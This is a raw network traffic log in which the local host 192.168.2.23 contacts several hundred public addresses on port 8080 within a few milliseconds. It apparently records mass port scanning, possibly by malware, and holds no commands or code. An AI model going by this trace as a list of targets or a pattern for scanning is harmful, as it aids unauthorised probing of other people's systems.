Dec 26, 2023 21:22:45.126210928 CET	45469	8080	192.168.2.23	95.53.1.219
Dec 26, 2023 21:22:45.126215935 CET	45469	8080	192.168.2.23	85.197.105.156
Dec 26, 2023 21:22:45.126224995 CET	45469	8080	192.168.2.23	62.121.200.86
Dec 26, 2023 21:22:45.126226902 CET	45469	8080	192.168.2.23	31.254.0.227
Dec 26, 2023 21:22:45.126244068 CET	45469	8080	192.168.2.23	94.115.208.233
Dec 26, 2023 21:22:45.126245022 CET	45469	8080	192.168.2.23	95.252.154.131
Dec 26, 2023 21:22:45.126260996 CET	45469	8080	192.168.2.23	31.212.105.45
Dec 26, 2023 21:22:45.126262903 CET	45469	8080	192.168.2.23	94.170.165.43
Dec 26, 2023 21:22:45.126281023 CET	45469	8080	192.168.2.23	94.75.49.77
Dec 26, 2023 21:22:45.126285076 CET	45469	8080	192.168.2.23	94.186.124.4
Dec 26, 2023 21:22:45.126285076 CET	45469	8080	192.168.2.23	85.194.101.27
Dec 26, 2023 21:22:45.126290083 CET	45469	8080	192.168.2.23	95.110.245.175
Dec 26, 2023 21:22:45.126311064 CET	45469	8080	192.168.2.23	94.153.35.55
Dec 26, 2023 21:22:45.126315117 CET	45469	8080	192.168.2.23	85.192.86.182
Dec 26, 2023 21:22:45.126322031 CET	45469	8080	192.168.2.23	62.37.180.193
Dec 26, 2023 21:22:45.126327038 CET	45469	8080	192.168.2.23	31.152.189.141
Dec 26, 2023 21:22:45.126346111 CET	45469	8080	192.168.2.23	31.218.221.243
Dec 26, 2023 21:22:45.126348019 CET	45469	8080	192.168.2.23	62.196.68.65
Dec 26, 2023 21:22:45.126363993 CET	45469	8080	192.168.2.23	85.247.55.0
Dec 26, 2023 21:22:45.126363993 CET	45469	8080	192.168.2.23	85.248.240.16
Dec 26, 2023 21:22:45.126378059 CET	45469	8080	192.168.2.23	95.77.170.81
Dec 26, 2023 21:22:45.126394987 CET	45469	8080	192.168.2.23	85.153.197.45
Dec 26, 2023 21:22:45.126399040 CET	45469	8080	192.168.2.23	85.221.160.14
Dec 26, 2023 21:22:45.126403093 CET	45469	8080	192.168.2.23	95.205.19.135
Dec 26, 2023 21:22:45.126410961 CET	45469	8080	192.168.2.23	85.222.106.171
Dec 26, 2023 21:22:45.126435041 CET	45469	8080	192.168.2.23	85.31.199.23
Dec 26, 2023 21:22:45.126435995 CET	45469	8080	192.168.2.23	62.81.98.9
Dec 26, 2023 21:22:45.126435995 CET	45469	8080	192.168.2.23	85.239.39.251
Dec 26, 2023 21:22:45.126451969 CET	45469	8080	192.168.2.23	62.1.17.14
Dec 26, 2023 21:22:45.126451969 CET	45469	8080	192.168.2.23	95.13.251.151
Dec 26, 2023 21:22:45.126456976 CET	45469	8080	192.168.2.23	94.229.147.4
Dec 26, 2023 21:22:45.126456976 CET	45469	8080	192.168.2.23	95.254.230.86
Dec 26, 2023 21:22:45.126466990 CET	45469	8080	192.168.2.23	85.36.197.59
Dec 26, 2023 21:22:45.126467943 CET	45469	8080	192.168.2.23	62.89.213.245
Dec 26, 2023 21:22:45.126471043 CET	45469	8080	192.168.2.23	95.192.214.95
Dec 26, 2023 21:22:45.126477957 CET	45469	8080	192.168.2.23	85.160.179.32
Dec 26, 2023 21:22:45.126482964 CET	45469	8080	192.168.2.23	94.103.154.99
Dec 26, 2023 21:22:45.126483917 CET	45469	8080	192.168.2.23	95.50.227.219
Dec 26, 2023 21:22:45.126491070 CET	45469	8080	192.168.2.23	31.58.241.19
Dec 26, 2023 21:22:45.126493931 CET	45469	8080	192.168.2.23	62.108.249.199
Dec 26, 2023 21:22:45.126493931 CET	45469	8080	192.168.2.23	85.142.236.126
Dec 26, 2023 21:22:45.126497984 CET	45469	8080	192.168.2.23	94.209.136.155
Dec 26, 2023 21:22:45.126497984 CET	45469	8080	192.168.2.23	95.45.133.112
Dec 26, 2023 21:22:45.126498938 CET	45469	8080	192.168.2.23	62.202.170.74
Dec 26, 2023 21:22:45.126513958 CET	45469	8080	192.168.2.23	31.83.143.57
Dec 26, 2023 21:22:45.126516104 CET	45469	8080	192.168.2.23	95.225.201.108
Dec 26, 2023 21:22:45.126517057 CET	45469	8080	192.168.2.23	85.136.68.95
Dec 26, 2023 21:22:45.126518011 CET	45469	8080	192.168.2.23	62.122.46.50
Dec 26, 2023 21:22:45.126518011 CET	45469	8080	192.168.2.23	31.14.117.62
Dec 26, 2023 21:22:45.126518011 CET	45469	8080	192.168.2.23	94.229.84.222
Dec 26, 2023 21:22:45.126523018 CET	45469	8080	192.168.2.23	85.252.202.105
Dec 26, 2023 21:22:45.126526117 CET	45469	8080	192.168.2.23	31.37.59.84
Dec 26, 2023 21:22:45.126526117 CET	45469	8080	192.168.2.23	95.112.67.101
Dec 26, 2023 21:22:45.126533985 CET	45469	8080	192.168.2.23	85.100.191.99
Dec 26, 2023 21:22:45.126534939 CET	45469	8080	192.168.2.23	31.73.137.200
Dec 26, 2023 21:22:45.126538038 CET	45469	8080	192.168.2.23	85.67.122.194
Dec 26, 2023 21:22:45.126538038 CET	45469	8080	192.168.2.23	94.245.78.225
Dec 26, 2023 21:22:45.126542091 CET	45469	8080	192.168.2.23	94.112.125.53
Dec 26, 2023 21:22:45.126550913 CET	45469	8080	192.168.2.23	85.242.105.144
Dec 26, 2023 21:22:45.126550913 CET	45469	8080	192.168.2.23	85.96.213.167
Dec 26, 2023 21:22:45.126554012 CET	45469	8080	192.168.2.23	62.205.153.160
Dec 26, 2023 21:22:45.126554966 CET	45469	8080	192.168.2.23	62.169.15.163
Dec 26, 2023 21:22:45.126562119 CET	45469	8080	192.168.2.23	85.200.33.84
Dec 26, 2023 21:22:45.126563072 CET	45469	8080	192.168.2.23	85.4.219.40
Dec 26, 2023 21:22:45.126566887 CET	45469	8080	192.168.2.23	95.161.7.226
Dec 26, 2023 21:22:45.126569033 CET	45469	8080	192.168.2.23	62.176.199.122
Dec 26, 2023 21:22:45.126571894 CET	45469	8080	192.168.2.23	85.76.198.103
Dec 26, 2023 21:22:45.126571894 CET	45469	8080	192.168.2.23	31.193.6.230
Dec 26, 2023 21:22:45.126574039 CET	45469	8080	192.168.2.23	31.13.16.235
Dec 26, 2023 21:22:45.126574039 CET	45469	8080	192.168.2.23	31.174.87.175
Dec 26, 2023 21:22:45.126584053 CET	45469	8080	192.168.2.23	62.177.87.41
Dec 26, 2023 21:22:45.126594067 CET	45469	8080	192.168.2.23	62.168.17.238
Dec 26, 2023 21:22:45.126611948 CET	45469	8080	192.168.2.23	95.100.172.68
Dec 26, 2023 21:22:45.126611948 CET	45469	8080	192.168.2.23	94.237.20.117
Dec 26, 2023 21:22:45.126620054 CET	45469	8080	192.168.2.23	62.46.181.150
Dec 26, 2023 21:22:45.126620054 CET	45469	8080	192.168.2.23	62.78.40.116
Dec 26, 2023 21:22:45.126632929 CET	45469	8080	192.168.2.23	95.201.201.28
Dec 26, 2023 21:22:45.126636028 CET	45469	8080	192.168.2.23	94.30.232.149
Dec 26, 2023 21:22:45.126653910 CET	45469	8080	192.168.2.23	62.44.64.119
Dec 26, 2023 21:22:45.126660109 CET	45469	8080	192.168.2.23	85.142.26.129
Dec 26, 2023 21:22:45.126661062 CET	45469	8080	192.168.2.23	85.135.249.5
Dec 26, 2023 21:22:45.126682043 CET	45469	8080	192.168.2.23	31.58.145.170
Dec 26, 2023 21:22:45.126687050 CET	45469	8080	192.168.2.23	94.229.231.60
Dec 26, 2023 21:22:45.126698971 CET	45469	8080	192.168.2.23	95.19.215.39
Dec 26, 2023 21:22:45.126705885 CET	45469	8080	192.168.2.23	95.137.229.136
Dec 26, 2023 21:22:45.126708984 CET	45469	8080	192.168.2.23	31.14.170.142
Dec 26, 2023 21:22:45.126710892 CET	45469	8080	192.168.2.23	31.49.216.224
Dec 26, 2023 21:22:45.126715899 CET	45469	8080	192.168.2.23	95.129.228.202
Dec 26, 2023 21:22:45.126729965 CET	45469	8080	192.168.2.23	94.19.105.33
Dec 26, 2023 21:22:45.126739979 CET	45469	8080	192.168.2.23	95.163.81.65
Dec 26, 2023 21:22:45.126739979 CET	45469	8080	192.168.2.23	31.64.54.29
Dec 26, 2023 21:22:45.126754045 CET	45469	8080	192.168.2.23	85.204.95.91
Dec 26, 2023 21:22:45.126774073 CET	45469	8080	192.168.2.23	95.248.205.225
Dec 26, 2023 21:22:45.126774073 CET	45469	8080	192.168.2.23	94.173.233.32
Dec 26, 2023 21:22:45.126789093 CET	45469	8080	192.168.2.23	94.212.232.106
Dec 26, 2023 21:22:45.126802921 CET	45469	8080	192.168.2.23	62.133.91.56
Dec 26, 2023 21:22:45.126806021 CET	45469	8080	192.168.2.23	62.220.4.107
Dec 26, 2023 21:22:45.126821041 CET	45469	8080	192.168.2.23	85.102.94.6
Dec 26, 2023 21:22:45.126826048 CET	45469	8080	192.168.2.23	94.125.170.238
Dec 26, 2023 21:22:45.126827955 CET	45469	8080	192.168.2.23	95.203.205.4
Dec 26, 2023 21:22:45.126835108 CET	45469	8080	192.168.2.23	95.203.197.23
Dec 26, 2023 21:22:45.126847982 CET	45469	8080	192.168.2.23	62.187.129.29
Dec 26, 2023 21:22:45.126848936 CET	45469	8080	192.168.2.23	31.255.107.70
Dec 26, 2023 21:22:45.126871109 CET	45469	8080	192.168.2.23	31.197.197.242
Dec 26, 2023 21:22:45.126871109 CET	45469	8080	192.168.2.23	85.119.51.255
Dec 26, 2023 21:22:45.126871109 CET	45469	8080	192.168.2.23	94.102.82.177
Dec 26, 2023 21:22:45.126889944 CET	45469	8080	192.168.2.23	94.76.19.239
Dec 26, 2023 21:22:45.126889944 CET	45469	8080	192.168.2.23	95.167.232.140
Dec 26, 2023 21:22:45.126893044 CET	45469	8080	192.168.2.23	85.4.28.139
Dec 26, 2023 21:22:45.126893044 CET	45469	8080	192.168.2.23	62.13.192.190
Dec 26, 2023 21:22:45.126893044 CET	45469	8080	192.168.2.23	62.62.155.255
Dec 26, 2023 21:22:45.126909971 CET	45469	8080	192.168.2.23	31.223.185.3
Dec 26, 2023 21:22:45.126915932 CET	45469	8080	192.168.2.23	62.73.33.42
Dec 26, 2023 21:22:45.126915932 CET	45469	8080	192.168.2.23	94.228.205.4
Dec 26, 2023 21:22:45.126930952 CET	45469	8080	192.168.2.23	94.143.43.67
Dec 26, 2023 21:22:45.126930952 CET	45469	8080	192.168.2.23	62.107.41.151
Dec 26, 2023 21:22:45.126950979 CET	45469	8080	192.168.2.23	85.77.111.254
Dec 26, 2023 21:22:45.126955986 CET	45469	8080	192.168.2.23	85.209.6.19
Dec 26, 2023 21:22:45.126962900 CET	45469	8080	192.168.2.23	85.165.110.51
Dec 26, 2023 21:22:45.126962900 CET	45469	8080	192.168.2.23	62.224.235.146
Dec 26, 2023 21:22:45.126966953 CET	45469	8080	192.168.2.23	95.80.19.29
Dec 26, 2023 21:22:45.126981974 CET	45469	8080	192.168.2.23	62.41.14.110
Dec 26, 2023 21:22:45.126982927 CET	45469	8080	192.168.2.23	94.246.118.238
Dec 26, 2023 21:22:45.126988888 CET	45469	8080	192.168.2.23	95.15.12.157
Dec 26, 2023 21:22:45.127003908 CET	45469	8080	192.168.2.23	62.239.133.145
Dec 26, 2023 21:22:45.127007008 CET	45469	8080	192.168.2.23	31.119.8.238
Dec 26, 2023 21:22:45.127013922 CET	45469	8080	192.168.2.23	85.98.208.95
Dec 26, 2023 21:22:45.127018929 CET	45469	8080	192.168.2.23	95.103.251.140
Dec 26, 2023 21:22:45.127021074 CET	45469	8080	192.168.2.23	95.194.191.243
Dec 26, 2023 21:22:45.127031088 CET	45469	8080	192.168.2.23	95.9.32.220
Dec 26, 2023 21:22:45.127033949 CET	45469	8080	192.168.2.23	62.82.121.20
Dec 26, 2023 21:22:45.127038956 CET	45469	8080	192.168.2.23	31.162.138.48
Dec 26, 2023 21:22:45.127048969 CET	45469	8080	192.168.2.23	94.129.60.31
Dec 26, 2023 21:22:45.127060890 CET	45469	8080	192.168.2.23	31.98.108.109
Dec 26, 2023 21:22:45.127068043 CET	45469	8080	192.168.2.23	85.236.119.204
Dec 26, 2023 21:22:45.127082109 CET	45469	8080	192.168.2.23	85.221.12.41
Dec 26, 2023 21:22:45.127089024 CET	45469	8080	192.168.2.23	95.13.210.248
Dec 26, 2023 21:22:45.127099991 CET	45469	8080	192.168.2.23	62.217.106.124
Dec 26, 2023 21:22:45.127110004 CET	45469	8080	192.168.2.23	62.131.142.47
Dec 26, 2023 21:22:45.127113104 CET	45469	8080	192.168.2.23	94.200.78.52
Dec 26, 2023 21:22:45.127120972 CET	45469	8080	192.168.2.23	85.241.69.205
Dec 26, 2023 21:22:45.127126932 CET	45469	8080	192.168.2.23	62.1.127.178
Dec 26, 2023 21:22:45.127142906 CET	45469	8080	192.168.2.23	95.134.42.200
Dec 26, 2023 21:22:45.127157927 CET	45469	8080	192.168.2.23	62.26.26.204
Dec 26, 2023 21:22:45.127161026 CET	45469	8080	192.168.2.23	95.19.225.162
Dec 26, 2023 21:22:45.127168894 CET	45469	8080	192.168.2.23	94.111.148.151
Dec 26, 2023 21:22:45.127183914 CET	45469	8080	192.168.2.23	31.163.140.168
Dec 26, 2023 21:22:45.127191067 CET	45469	8080	192.168.2.23	85.241.127.164
Dec 26, 2023 21:22:45.127202988 CET	45469	8080	192.168.2.23	31.21.57.100
Dec 26, 2023 21:22:45.127206087 CET	45469	8080	192.168.2.23	85.126.185.45
Dec 26, 2023 21:22:45.127214909 CET	45469	8080	192.168.2.23	94.59.147.160
Dec 26, 2023 21:22:45.127233982 CET	45469	8080	192.168.2.23	31.125.52.227
Dec 26, 2023 21:22:45.127243042 CET	45469	8080	192.168.2.23	31.85.188.217
Dec 26, 2023 21:22:45.127243042 CET	45469	8080	192.168.2.23	31.98.218.7
Dec 26, 2023 21:22:45.127250910 CET	45469	8080	192.168.2.23	94.204.49.174
Dec 26, 2023 21:22:45.127259970 CET	45469	8080	192.168.2.23	62.139.23.10
Dec 26, 2023 21:22:45.127274036 CET	45469	8080	192.168.2.23	62.95.193.49
Dec 26, 2023 21:22:45.127276897 CET	45469	8080	192.168.2.23	62.231.70.63
Dec 26, 2023 21:22:45.127291918 CET	45469	8080	192.168.2.23	85.65.210.82
Dec 26, 2023 21:22:45.127306938 CET	45469	8080	192.168.2.23	85.180.227.131
Dec 26, 2023 21:22:45.127310991 CET	45469	8080	192.168.2.23	85.136.107.116
Dec 26, 2023 21:22:45.127316952 CET	45469	8080	192.168.2.23	85.152.165.206
Dec 26, 2023 21:22:45.127321959 CET	45469	8080	192.168.2.23	62.7.69.195
Dec 26, 2023 21:22:45.127331018 CET	45469	8080	192.168.2.23	85.46.196.156
Dec 26, 2023 21:22:45.127331018 CET	45469	8080	192.168.2.23	85.103.197.177
Dec 26, 2023 21:22:45.127334118 CET	45469	8080	192.168.2.23	31.61.77.93
Dec 26, 2023 21:22:45.127357960 CET	45469	8080	192.168.2.23	94.5.137.32
Dec 26, 2023 21:22:45.127367973 CET	45469	8080	192.168.2.23	31.144.192.210
Dec 26, 2023 21:22:45.127372980 CET	45469	8080	192.168.2.23	95.212.232.122
Dec 26, 2023 21:22:45.127379894 CET	45469	8080	192.168.2.23	62.115.38.226
Dec 26, 2023 21:22:45.127389908 CET	45469	8080	192.168.2.23	95.5.184.231
Dec 26, 2023 21:22:45.127408028 CET	45469	8080	192.168.2.23	85.222.254.138
Dec 26, 2023 21:22:45.127419949 CET	45469	8080	192.168.2.23	31.102.47.27
Dec 26, 2023 21:22:45.127435923 CET	45469	8080	192.168.2.23	95.243.31.170
Dec 26, 2023 21:22:45.127439022 CET	45469	8080	192.168.2.23	62.244.167.40
Dec 26, 2023 21:22:45.127443075 CET	45469	8080	192.168.2.23	31.182.111.231
Dec 26, 2023 21:22:45.127448082 CET	45469	8080	192.168.2.23	95.196.200.123
Dec 26, 2023 21:22:45.127460957 CET	45469	8080	192.168.2.23	94.76.201.187
Dec 26, 2023 21:22:45.127475977 CET	45469	8080	192.168.2.23	95.16.122.7
Dec 26, 2023 21:22:45.127481937 CET	45469	8080	192.168.2.23	94.68.162.150
Dec 26, 2023 21:22:45.127490044 CET	45469	8080	192.168.2.23	85.107.255.15
Dec 26, 2023 21:22:45.127502918 CET	45469	8080	192.168.2.23	94.9.28.41
Dec 26, 2023 21:22:45.127517939 CET	45469	8080	192.168.2.23	85.30.1.139
Dec 26, 2023 21:22:45.127532005 CET	45469	8080	192.168.2.23	31.78.125.216
Dec 26, 2023 21:22:45.127533913 CET	45469	8080	192.168.2.23	85.241.255.27
Dec 26, 2023 21:22:45.127543926 CET	45469	8080	192.168.2.23	85.81.140.90
Dec 26, 2023 21:22:45.127554893 CET	45469	8080	192.168.2.23	94.245.167.154
Dec 26, 2023 21:22:45.127561092 CET	45469	8080	192.168.2.23	94.48.162.74
Dec 26, 2023 21:22:45.127573967 CET	45469	8080	192.168.2.23	31.214.192.36
Dec 26, 2023 21:22:45.127583981 CET	45469	8080	192.168.2.23	62.171.231.3
Dec 26, 2023 21:22:45.127594948 CET	45469	8080	192.168.2.23	94.95.165.154
Dec 26, 2023 21:22:45.127594948 CET	45469	8080	192.168.2.23	31.33.107.175
Dec 26, 2023 21:22:45.127604961 CET	45469	8080	192.168.2.23	94.123.215.156
Dec 26, 2023 21:22:45.127609015 CET	45469	8080	192.168.2.23	62.90.58.75
Dec 26, 2023 21:22:45.127614021 CET	45469	8080	192.168.2.23	95.154.8.49
Dec 26, 2023 21:22:45.127621889 CET	45469	8080	192.168.2.23	62.107.68.79
Dec 26, 2023 21:22:45.127645969 CET	45469	8080	192.168.2.23	85.76.61.29
Dec 26, 2023 21:22:45.127650023 CET	45469	8080	192.168.2.23	85.24.222.45
Dec 26, 2023 21:22:45.127655029 CET	45469	8080	192.168.2.23	95.227.51.63
Dec 26, 2023 21:22:45.127660036 CET	45469	8080	192.168.2.23	85.140.45.222
Dec 26, 2023 21:22:45.127672911 CET	45469	8080	192.168.2.23	94.112.76.255
Dec 26, 2023 21:22:45.127686977 CET	45469	8080	192.168.2.23	95.193.48.0
Dec 26, 2023 21:22:45.127690077 CET	45469	8080	192.168.2.23	85.103.29.220
Dec 26, 2023 21:22:45.127702951 CET	45469	8080	192.168.2.23	85.56.169.135
Dec 26, 2023 21:22:45.127707005 CET	45469	8080	192.168.2.23	95.103.215.211
Dec 26, 2023 21:22:45.127722025 CET	45469	8080	192.168.2.23	31.187.97.33
Dec 26, 2023 21:22:45.127733946 CET	45469	8080	192.168.2.23	85.231.162.46
Dec 26, 2023 21:22:45.127733946 CET	45469	8080	192.168.2.23	31.96.65.136
Dec 26, 2023 21:22:45.127748013 CET	45469	8080	192.168.2.23	31.97.16.0
Dec 26, 2023 21:22:45.127762079 CET	45469	8080	192.168.2.23	31.34.15.59
Dec 26, 2023 21:22:45.127775908 CET	45469	8080	192.168.2.23	85.179.7.99
Dec 26, 2023 21:22:45.127789974 CET	45469	8080	192.168.2.23	85.58.100.237
Dec 26, 2023 21:22:45.127793074 CET	45469	8080	192.168.2.23	95.101.140.175
Dec 26, 2023 21:22:45.127806902 CET	45469	8080	192.168.2.23	85.83.252.37
Dec 26, 2023 21:22:45.127806902 CET	45469	8080	192.168.2.23	95.225.126.100
Dec 26, 2023 21:22:45.127810955 CET	45469	8080	192.168.2.23	85.213.86.98
Dec 26, 2023 21:22:45.127813101 CET	45469	8080	192.168.2.23	94.245.151.236
Dec 26, 2023 21:22:45.127830029 CET	45469	8080	192.168.2.23	95.24.181.41
Dec 26, 2023 21:22:45.127840996 CET	45469	8080	192.168.2.23	94.232.47.190
Dec 26, 2023 21:22:45.127845049 CET	45469	8080	192.168.2.23	94.123.163.37
Dec 26, 2023 21:22:45.127861023 CET	45469	8080	192.168.2.23	85.91.93.60
Dec 26, 2023 21:22:45.127866983 CET	45469	8080	192.168.2.23	94.206.50.166
Dec 26, 2023 21:22:45.127868891 CET	45469	8080	192.168.2.23	62.105.186.225
Dec 26, 2023 21:22:45.127871037 CET	45469	8080	192.168.2.23	85.62.150.160
Dec 26, 2023 21:22:45.127877951 CET	45469	8080	192.168.2.23	95.231.218.222
Dec 26, 2023 21:22:45.127878904 CET	45469	8080	192.168.2.23	31.126.249.117
Dec 26, 2023 21:22:45.127883911 CET	45469	8080	192.168.2.23	95.166.176.115
Dec 26, 2023 21:22:45.127888918 CET	45469	8080	192.168.2.23	31.132.134.42
Dec 26, 2023 21:22:45.127888918 CET	45469	8080	192.168.2.23	62.125.161.77
Dec 26, 2023 21:22:45.127888918 CET	45469	8080	192.168.2.23	95.165.211.146
Dec 26, 2023 21:22:45.127902031 CET	45469	8080	192.168.2.23	85.148.236.205
Dec 26, 2023 21:22:45.127911091 CET	45469	8080	192.168.2.23	95.248.19.63
Dec 26, 2023 21:22:45.127912045 CET	45469	8080	192.168.2.23	85.245.203.21
Dec 26, 2023 21:22:45.127934933 CET	45469	8080	192.168.2.23	95.70.215.171
Dec 26, 2023 21:22:45.127938032 CET	45469	8080	192.168.2.23	95.160.205.9
Dec 26, 2023 21:22:45.127945900 CET	45469	8080	192.168.2.23	31.242.33.75
Dec 26, 2023 21:22:45.127954006 CET	45469	8080	192.168.2.23	94.48.228.145
Dec 26, 2023 21:22:45.127971888 CET	45469	8080	192.168.2.23	31.241.68.188
Dec 26, 2023 21:22:45.127971888 CET	45469	8080	192.168.2.23	62.134.32.5
Dec 26, 2023 21:22:45.127985954 CET	45469	8080	192.168.2.23	85.38.244.234
Dec 26, 2023 21:22:45.127988100 CET	45469	8080	192.168.2.23	62.199.38.233
Dec 26, 2023 21:22:45.127995968 CET	45469	8080	192.168.2.23	95.28.77.207
Dec 26, 2023 21:22:45.128005028 CET	45469	8080	192.168.2.23	94.220.205.78
Dec 26, 2023 21:22:45.128024101 CET	45469	8080	192.168.2.23	62.193.35.109
Dec 26, 2023 21:22:45.128024101 CET	45469	8080	192.168.2.23	85.141.44.139
Dec 26, 2023 21:22:45.128036022 CET	45469	8080	192.168.2.23	95.154.214.86
Dec 26, 2023 21:22:45.128051043 CET	45469	8080	192.168.2.23	62.163.49.56
Dec 26, 2023 21:22:45.128055096 CET	45469	8080	192.168.2.23	62.220.110.188
Dec 26, 2023 21:22:45.128071070 CET	45469	8080	192.168.2.23	62.212.175.22
Dec 26, 2023 21:22:45.128072023 CET	45469	8080	192.168.2.23	62.96.55.244
Dec 26, 2023 21:22:45.128072023 CET	45469	8080	192.168.2.23	62.49.23.231
Dec 26, 2023 21:22:45.128082991 CET	45469	8080	192.168.2.23	31.251.150.129
Dec 26, 2023 21:22:45.128088951 CET	45469	8080	192.168.2.23	95.137.84.133
Dec 26, 2023 21:22:45.128103018 CET	45469	8080	192.168.2.23	31.31.140.211
Dec 26, 2023 21:22:45.128113031 CET	45469	8080	192.168.2.23	85.23.110.129
Dec 26, 2023 21:22:45.128118038 CET	45469	8080	192.168.2.23	62.254.113.99
Dec 26, 2023 21:22:45.128129005 CET	45469	8080	192.168.2.23	94.237.195.34
Dec 26, 2023 21:22:45.128132105 CET	45469	8080	192.168.2.23	85.103.76.224
Dec 26, 2023 21:22:45.128146887 CET	45469	8080	192.168.2.23	85.42.245.214
Dec 26, 2023 21:22:45.128151894 CET	45469	8080	192.168.2.23	95.63.172.116
Dec 26, 2023 21:22:45.128164053 CET	45469	8080	192.168.2.23	31.21.169.214
Dec 26, 2023 21:22:45.128176928 CET	45469	8080	192.168.2.23	95.209.201.218
Dec 26, 2023 21:22:45.128189087 CET	45469	8080	192.168.2.23	31.65.40.87
Dec 26, 2023 21:22:45.128196955 CET	45469	8080	192.168.2.23	95.133.161.73
Dec 26, 2023 21:22:45.128221989 CET	45469	8080	192.168.2.23	95.240.79.91
Dec 26, 2023 21:22:45.128221989 CET	45469	8080	192.168.2.23	62.114.164.155
Dec 26, 2023 21:22:45.128225088 CET	45469	8080	192.168.2.23	31.250.175.61
Dec 26, 2023 21:22:45.128233910 CET	45469	8080	192.168.2.23	94.215.110.33
Dec 26, 2023 21:22:45.128236055 CET	45469	8080	192.168.2.23	85.82.92.103
Dec 26, 2023 21:22:45.128238916 CET	45469	8080	192.168.2.23	85.209.178.112
Dec 26, 2023 21:22:45.128256083 CET	45469	8080	192.168.2.23	62.125.12.191
Dec 26, 2023 21:22:45.128261089 CET	45469	8080	192.168.2.23	31.135.47.104
Dec 26, 2023 21:22:45.128269911 CET	45469	8080	192.168.2.23	31.193.65.143
Dec 26, 2023 21:22:45.128283978 CET	45469	8080	192.168.2.23	31.12.158.84
Dec 26, 2023 21:22:45.128288031 CET	45469	8080	192.168.2.23	85.43.23.18
Dec 26, 2023 21:22:45.128302097 CET	45469	8080	192.168.2.23	62.122.131.42
Dec 26, 2023 21:22:45.128314972 CET	45469	8080	192.168.2.23	94.14.219.193
Dec 26, 2023 21:22:45.128329039 CET	45469	8080	192.168.2.23	31.1.172.170
Dec 26, 2023 21:22:45.128340006 CET	45469	8080	192.168.2.23	95.176.139.39
Dec 26, 2023 21:22:45.128346920 CET	45469	8080	192.168.2.23	85.174.68.243
Dec 26, 2023 21:22:45.128351927 CET	45469	8080	192.168.2.23	95.9.122.195
Dec 26, 2023 21:22:45.128355026 CET	45469	8080	192.168.2.23	62.126.46.211
Dec 26, 2023 21:22:45.128361940 CET	45469	8080	192.168.2.23	95.13.76.169
Dec 26, 2023 21:22:45.128375053 CET	45469	8080	192.168.2.23	62.218.60.246
Dec 26, 2023 21:22:45.128390074 CET	45469	8080	192.168.2.23	85.190.69.116
Dec 26, 2023 21:22:45.128395081 CET	45469	8080	192.168.2.23	31.181.255.65
Dec 26, 2023 21:22:45.128402948 CET	45469	8080	192.168.2.23	31.106.147.145
Dec 26, 2023 21:22:45.128422022 CET	45469	8080	192.168.2.23	62.221.88.147
Dec 26, 2023 21:22:45.128422022 CET	45469	8080	192.168.2.23	95.10.152.152
Dec 26, 2023 21:22:45.128444910 CET	45469	8080	192.168.2.23	95.30.106.87
Dec 26, 2023 21:22:45.128444910 CET	45469	8080	192.168.2.23	85.131.125.37
Dec 26, 2023 21:22:45.128453970 CET	45469	8080	192.168.2.23	95.58.74.105
Dec 26, 2023 21:22:45.128478050 CET	45469	8080	192.168.2.23	95.135.41.128
Dec 26, 2023 21:22:45.128482103 CET	45469	8080	192.168.2.23	62.212.81.88
Dec 26, 2023 21:22:45.128484964 CET	45469	8080	192.168.2.23	62.113.110.249
Dec 26, 2023 21:22:45.128499031 CET	45469	8080	192.168.2.23	95.6.128.243
Dec 26, 2023 21:22:45.128510952 CET	45469	8080	192.168.2.23	94.90.252.222
Dec 26, 2023 21:22:45.128515959 CET	45469	8080	192.168.2.23	85.124.127.25
Dec 26, 2023 21:22:45.128519058 CET	45469	8080	192.168.2.23	95.115.82.228
Dec 26, 2023 21:22:45.128532887 CET	45469	8080	192.168.2.23	85.201.165.11
Dec 26, 2023 21:22:45.128546000 CET	45469	8080	192.168.2.23	85.65.224.162
Dec 26, 2023 21:22:45.128562927 CET	45469	8080	192.168.2.23	31.22.162.180
Dec 26, 2023 21:22:45.128565073 CET	45469	8080	192.168.2.23	85.195.219.60
Dec 26, 2023 21:22:45.128577948 CET	45469	8080	192.168.2.23	62.189.64.87
Dec 26, 2023 21:22:45.128592014 CET	45469	8080	192.168.2.23	85.63.74.175
Dec 26, 2023 21:22:45.128602982 CET	45469	8080	192.168.2.23	94.228.198.98
Dec 26, 2023 21:22:45.128612041 CET	45469	8080	192.168.2.23	94.27.160.248
Dec 26, 2023 21:22:45.128612041 CET	45469	8080	192.168.2.23	85.171.221.145
Dec 26, 2023 21:22:45.128617048 CET	45469	8080	192.168.2.23	31.146.1.201
Dec 26, 2023 21:22:45.128619909 CET	45469	8080	192.168.2.23	94.200.169.176
Dec 26, 2023 21:22:45.128627062 CET	45469	8080	192.168.2.23	31.42.14.249
Dec 26, 2023 21:22:45.128629923 CET	45469	8080	192.168.2.23	94.122.251.106
Dec 26, 2023 21:22:45.128640890 CET	45469	8080	192.168.2.23	62.227.140.134
Dec 26, 2023 21:22:45.128644943 CET	45469	8080	192.168.2.23	85.134.213.218
Dec 26, 2023 21:22:45.128668070 CET	45469	8080	192.168.2.23	95.41.16.183
Dec 26, 2023 21:22:45.128671885 CET	45469	8080	192.168.2.23	94.26.14.189
Dec 26, 2023 21:22:45.128685951 CET	45469	8080	192.168.2.23	95.150.97.228
Dec 26, 2023 21:22:45.128688097 CET	45469	8080	192.168.2.23	31.203.214.80
Dec 26, 2023 21:22:45.128709078 CET	45469	8080	192.168.2.23	95.30.247.146
Dec 26, 2023 21:22:45.128717899 CET	45469	8080	192.168.2.23	95.155.57.218
Dec 26, 2023 21:22:45.128717899 CET	45469	8080	192.168.2.23	31.249.36.212
Dec 26, 2023 21:22:45.128717899 CET	45469	8080	192.168.2.23	95.118.202.39
Dec 26, 2023 21:22:45.128743887 CET	45469	8080	192.168.2.23	94.143.85.12
Dec 26, 2023 21:22:45.128748894 CET	45469	8080	192.168.2.23	95.94.30.85
Dec 26, 2023 21:22:45.128757954 CET	45469	8080	192.168.2.23	62.201.184.4
Dec 26, 2023 21:22:45.128762007 CET	45469	8080	192.168.2.23	62.235.122.219
Dec 26, 2023 21:22:45.128770113 CET	45469	8080	192.168.2.23	85.35.184.48
Dec 26, 2023 21:22:45.128773928 CET	45469	8080	192.168.2.23	31.190.72.21
Dec 26, 2023 21:22:45.128778934 CET	45469	8080	192.168.2.23	62.191.235.119
Dec 26, 2023 21:22:45.128789902 CET	45469	8080	192.168.2.23	85.213.191.180
Dec 26, 2023 21:22:45.128804922 CET	45469	8080	192.168.2.23	95.234.131.122
Dec 26, 2023 21:22:45.128808975 CET	45469	8080	192.168.2.23	31.29.157.14
Dec 26, 2023 21:22:45.128817081 CET	45469	8080	192.168.2.23	62.67.221.76
